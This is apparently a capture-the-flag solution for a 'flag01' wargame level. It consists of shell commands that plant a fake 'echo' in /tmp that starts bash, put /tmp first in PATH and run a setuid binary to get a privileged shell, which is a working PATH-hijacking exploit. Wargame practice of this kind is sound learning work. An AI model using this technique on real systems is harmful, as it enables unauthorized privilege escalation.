# Create a fake an 'echo' command that starts a shell. cat > /tmp/echo << EOF /bin/bash EOF chmod 777 /tmp/echo # Update the $PATH variable with the /tmp directory. PATH=/tmp:$PATH # Run the target. /home/flag01/flag01 # Get the flag. getflag